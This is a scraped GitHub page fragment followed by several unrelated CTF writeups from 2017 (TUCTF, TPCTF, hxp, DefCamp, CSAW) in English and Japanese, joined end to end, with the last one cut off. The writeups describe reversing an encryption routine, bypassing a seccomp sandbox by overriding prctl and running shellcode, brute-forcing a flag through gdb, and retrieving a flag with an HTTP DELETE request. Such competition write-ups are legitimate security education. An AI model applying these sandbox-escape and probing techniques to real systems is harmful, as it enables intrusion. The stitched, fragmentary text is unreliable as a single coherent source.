<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/vngkv123/CTF/refs" cache-key="v0:1507219027.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="dm5na3YxMjMvQ1RG" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF</span></span></span><span>/</span><span><span>ctf_in_2017</span></span><span>/</span>tuctf<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF</span></span></span><span>/</span><span><span>ctf_in_2017</span></span><span>/</span>tuctf<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/vngkv123/CTF/tree-commit/4f7bda9d45bdbada34711a8a59a61e9f65a260f8/ctf_in_2017/tuctf" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/vngkv123/CTF/file-list/master/ctf_in_2017/tuctf"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>future.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>guest_book.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>unknown.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
# Super Encryption!**60 points**```My friend sent me a flag encrypted with an encryption program. Unfortunately, the decryption doesn't seem to work. Please help me decrypt this: dufhyuc>bi{{f0|;vwh<~b5p5thjq6goj}```
The decryption is not implemented in the attached file (`superencrypt`) so the inverse of the encryption has to be handcrafted.
**The entrypoint(`main`) in IDA**
A very straight forward branch is made to `encrypt` and `decrypt` based on the user input.
 As expected, nothing happens in the `decrypt` function.

Prior to calling `encrypt`, the parameters are copied to `rsi` and `rdi` and later on copied to the stack in the function entrypoint.

`rdi` points to the given string `rsi` holds `0x100` which is probably the buffer length

Although there are 3 loops in the function, the encryption itself is done in the first one. To be specific, a key is derived from the loop counter(`i`) and added to each character.

The second and third loops are responsible for reversing the order of the cipher in chunks of 5 and 3 respectively.
The following steps need to be taken for decryption.1. Reverse order by chunks of 32. Reverse order by chunks of 53. Derive key from loop counter and subtract from each character
One thing to note is that instead of deriving the key myself, I ripped the key by logging the values stored in `v13`(`xmm0`). |
# ▼▼▼IRC(Web:50)、119/484=24.6%▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
---
```The bott on #tpctf-chal has a flag, but has only a 3% chance of giving it out. The other 97% of the time, it gives out flegs. Flegs look like flags. Don't get fooled by flegs. You can get flagbotbot talking by waiting 30 seconds.
Author: Clarence Lam
HintThere isn't a good way to solve this other than staring at the chat box for a while. If you don't want to do that, get someone else to do it. Or something else, for that matter.```
-----
IRCに接続してれば、`flagbotbot`が3%の確率で正しいflagを発言するらしい。
※ずっと待つ方法以外の解法もあるとの記載があるが、とりあえず他の問題にとりかかっている間に流しておくことにした。
↓```・・・the flag is TPCTF{|1I!!II1111l} that's a fleg btw the flag is TPCTF{1lI|1Il|1I1l} that's a flag btw ・・・```↓
ずっと`fleg`と記載されていたが、`flag`というものが発言された。
↓
`TPCTF{1lI|1Il|1I1l}` |
# hxp 2017 CTF
**sandb0x**
- There's gcc compile available with user.s assembly code.- only 80byte length is allowed.- Remote Binary is blind, and PIE and ASLR are on.- No way to 2round Exploitation to get shell except for launching shellcode.- And prctl is used for seccomp filter.- user.s can overwrite prctl call with `.global prctl;prctl:~~~`- So, I write shellcode on some stack, and jmp to that address
**dont_panic**
- check argv[1] length
```[----------------------------------registers-----------------------------------]RAX: 0x8RBX: 0x4fb090 --> 0x0RCX: 0x7fffffffe570 ("AAAABBBB")RDX: 0x4ab760 --> 0x47b8a0 (mov rcx,QWORD PTR fs:0xfffffffffffffff8)RSI: 0x10RDI: 0x490e80 --> 0x10RBP: 0xc42003bf78 --> 0xc42003bfd0 --> 0x0RSP: 0xc42003be90 --> 0x0RIP: 0x47b90a (cmp rax,0x2a)R8 : 0x208R9 : 0x0R10: 0xc420058170 --> 0x4a8976 ("syntax error scanning booleantoo many open files in systemtraceback has leftover defers locals stack map entries for 227373675443232059478759765625MHeap_AllocLocked - bad npagesSIGPROF: profiling alar"...)R11: 0xc420058170 --> 0x4a8976 ("syntax error scanning booleantoo many open files in systemtraceback has leftover defers locals stack map entries for 227373675443232059478759765625MHeap_AllocLocked - bad npagesSIGPROF: profiling alar"...)R12: 0x1R13: 0x18R14: 0x170R15: 0x200EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x47b8fc: mov QWORD PTR [rsp+0x50],rcx 0x47b901: mov rax,QWORD PTR [rax+0x18] 0x47b905: mov QWORD PTR [rsp+0x48],rax=> 0x47b90a: cmp rax,0x2a 0x47b90e: jl 0x47ba23```
- 0x47ba23 is fail routine. Feature of Fail.- Find Success Routine- make script for automation ( check fail or success ) -> Brute force- success statement is here```loc_47B998:lea rax, unk_4A8374mov [rsp+0F0h+var_48], raxmov [rsp+0F0h+var_40], 1Chmov [rsp+0F0h+var_98], 0mov [rsp+0F0h+var_90], 0lea rax, unk_489D80```
- `unk_4a8374` : -> `Seems like you got a flag...`- This is final Success routine.- So, check `rip` if success address or not.- result
```root@ubuntu:/mnt/hgfs/shared/hxp/dont_panic# python solve.py[*] '/mnt/hgfs/shared/hxp/dont_panic/main_strip' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)[+] Starting local process '/usr/bin/gdb': pid 4985find hAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfind hxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfind hxpAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfind hxp{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfind hxp{kAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfind hxp{k3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfind hxp{k3eAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfind hxp{k3ePAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfind hxp{k3eP_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfind hxp{k3eP_CAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfind hxp{k3eP_C4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfind hxp{k3eP_C4lAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfind hxp{k3eP_C4lMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfind hxp{k3eP_C4lM_AAAAAAAAAAAAAAAAAAAAAAAAAAAAfind hxp{k3eP_C4lM_AAAAAAAAAAAAAAAAAAAAAAAAAAAAfind hxp{k3eP_C4lM_AnAAAAAAAAAAAAAAAAAAAAAAAAAAfind hxp{k3eP_C4lM_AnDAAAAAAAAAAAAAAAAAAAAAAAAAfind hxp{k3eP_C4lM_AnD_AAAAAAAAAAAAAAAAAAAAAAAAfind hxp{k3eP_C4lM_AnD_DAAAAAAAAAAAAAAAAAAAAAAAfind hxp{k3eP_C4lM_AnD_D0AAAAAAAAAAAAAAAAAAAAAAfind hxp{k3eP_C4lM_AnD_D0nAAAAAAAAAAAAAAAAAAAAAfind hxp{k3eP_C4lM_AnD_D0n'AAAAAAAAAAAAAAAAAAAAfind hxp{k3eP_C4lM_AnD_D0n'tAAAAAAAAAAAAAAAAAAAfind hxp{k3eP_C4lM_AnD_D0n't_AAAAAAAAAAAAAAAAAAfind hxp{k3eP_C4lM_AnD_D0n't_PAAAAAAAAAAAAAAAAAfind hxp{k3eP_C4lM_AnD_D0n't_P4AAAAAAAAAAAAAAAAfind hxp{k3eP_C4lM_AnD_D0n't_P4nAAAAAAAAAAAAAAAfind hxp{k3eP_C4lM_AnD_D0n't_P4n1AAAAAAAAAAAAAAfind hxp{k3eP_C4lM_AnD_D0n't_P4n1cAAAAAAAAAAAAAfind hxp{k3eP_C4lM_AnD_D0n't_P4n1c_AAAAAAAAAAAAfind hxp{k3eP_C4lM_AnD_D0n't_P4n1c__AAAAAAAAAAAfind hxp{k3eP_C4lM_AnD_D0n't_P4n1c__GAAAAAAAAAAfind hxp{k3eP_C4lM_AnD_D0n't_P4n1c__G0AAAAAAAAAfind hxp{k3eP_C4lM_AnD_D0n't_P4n1c__G0_AAAAAAAAfind hxp{k3eP_C4lM_AnD_D0n't_P4n1c__G0_iAAAAAAAfind hxp{k3eP_C4lM_AnD_D0n't_P4n1c__G0_i5AAAAAAfind hxp{k3eP_C4lM_AnD_D0n't_P4n1c__G0_i5_AAAAAfind hxp{k3eP_C4lM_AnD_D0n't_P4n1c__G0_i5_SAAAAfind hxp{k3eP_C4lM_AnD_D0n't_P4n1c__G0_i5_S4AAAfind hxp{k3eP_C4lM_AnD_D0n't_P4n1c__G0_i5_S4FAAfind hxp{k3eP_C4lM_AnD_D0n't_P4n1c__G0_i5_S4F3Afind hxp{k3eP_C4lM_AnD_D0n't_P4n1c__G0_i5_S4F3}hxp{k3eP_C4lM_AnD_D0n't_P4n1c__G0_i5_S4F3}[*] Stopped process '/usr/bin/gdb' (pid 4985)```
**revenge_of_the_zwiebel**
- Flag : `hxp{1_5m3ll_l4zyn355}`- Anti-debug detection -> binary patch or dynamically set return value- There are so many Encrypted code chunk -> Need to Decrypt it- Need to make some automation script- Figure out flag's index and bit |
# ▼▼▼Ads(Web:20)、275/484=56.8%▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
---
```I hid a flag somewhere on this site. Find it.Author: Clarence Lam
HintAbout 75% of internet users have already done the first step to this.There is another, more standard way, but that's boring.```
-----
`https://tpctf.com/about`
↓
ソースコードでは、下記のようになっている
```・・・We're not good enough to make binary exploitation challenges. We're too cool for binary exploitation. ??<div id="ad-0"><div id="ad"></div></div><script>katex.render("f( x) =\\left(\\frac{\\sqrt{21} -1}{6} + \\frac{\\ln 6}{3} + \\frac{1}{3} (5\\pi)^{\\frac{\\pi-e}{2}}\\right)^{3-x}", document.getElementById("prizeFormula"));</script> </div>・・・```
We're not good enough to make binary exploitation challenges. We're too cool for binary exploitation. ??
↓
目視で確認すると下記のように記載されている。
`tpctf{n\u0435v3r_7h15_3z}`
↓
Unicodeが使われているので何の文字か調べてみる。
```\u0435 ⇒ ehttps://www.fileformat.info/info/unicode/char/0435/index.htm```
↓
`tpctf{nev3r_7h15_3z}` |
tl;dr:1. Split input in 10 parts2. Extract some meaningful byte streams from wav for each letter and put in a lookup table3. Look for patterns in the captcha to guess
Full writeup: https://github.com/p4-team/ctf/tree/master/2017-11-09-defcamp-final/audio_captcha |
# ▼▼▼Methods(Web:50)、95/484=19.6%▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
---
```Make the server give you the flag. Navigate to the problem page from here.Secondary instance (slightly different, but same solution) running at 52.90.229.46:2233.Author: Steven Su
HintI don't think you get it.```
-----
Methodという名前なので、`OPTIONS`で使えるメソッドを確認してみる。
↓```OPTIONS / HTTP/1.1Host: 52.90.229.46:2233Cache-Control: max-age=0User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36Upgrade-Insecure-Requests: 1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: ja,en-US;q=0.9,en;q=0.8Connection: close```↓```HTTP/1.0 200 OKContent-Type: text/html; charset=utf-8Allow: GET, OPTIONS, HEAD, DELETEContent-Length: 0Server: Werkzeug/0.12.2 Python/3.5.2Date: Sun, 03 Dec 2017 21:59:36 GMT```↓
`Allow: GET, OPTIONS, HEAD, DELETE`
-----
あまり使われない`DELETE`メソッドを送信してみる
↓
```DELETE / HTTP/1.1Host: 52.90.229.46:2233Cache-Control: max-age=0User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36Upgrade-Insecure-Requests: 1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: ja,en-US;q=0.9,en;q=0.8Connection: close```↓```HTTP/1.0 200 OKContent-Type: text/html; charset=utf-8Content-Length: 52Server: Werkzeug/0.12.2 Python/3.5.2Date: Sun, 03 Dec 2017 21:57:41 GMT
tpctf{so_post_and_get_are_not_the_only_http_methods}```↓
`tpctf{so_post_and_get_are_not_the_only_http_methods}` |
[writeup by @abiondo]
**CTF:** CSAW CTF Final Round 2017
**Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/))
**Task:** pwn / Global Thermonuclear Cyberwar
**Points:** 350
```In this strange game, the only winning move is pwn.[IP and credentials for VNC server]```
This is the second part of [DEFCON 1](../../rev/defcon1-50). Read that one first. The same system image is used here. We want to dump the flag at 0x1664 on the remote server.
When we enter the right password that we found while decrypting the ROM, we are presented with a game. First, we choose whether we want to be USA or USSR. Then the game displays a world map with four bases for each party. During each turn, we select one out of the four bases, then freely choose a point on the map and hit enter to launch a missile there. It animates two trails for our missile and for the other party's response missile, and two explosions once they hit.
Okay, let's load this baby up into IDA (base and entry point at 0x1000, 16-bit code). I will not go too deeply into the reversing details as it's not terribly interesting. All the names that follow where given by me.
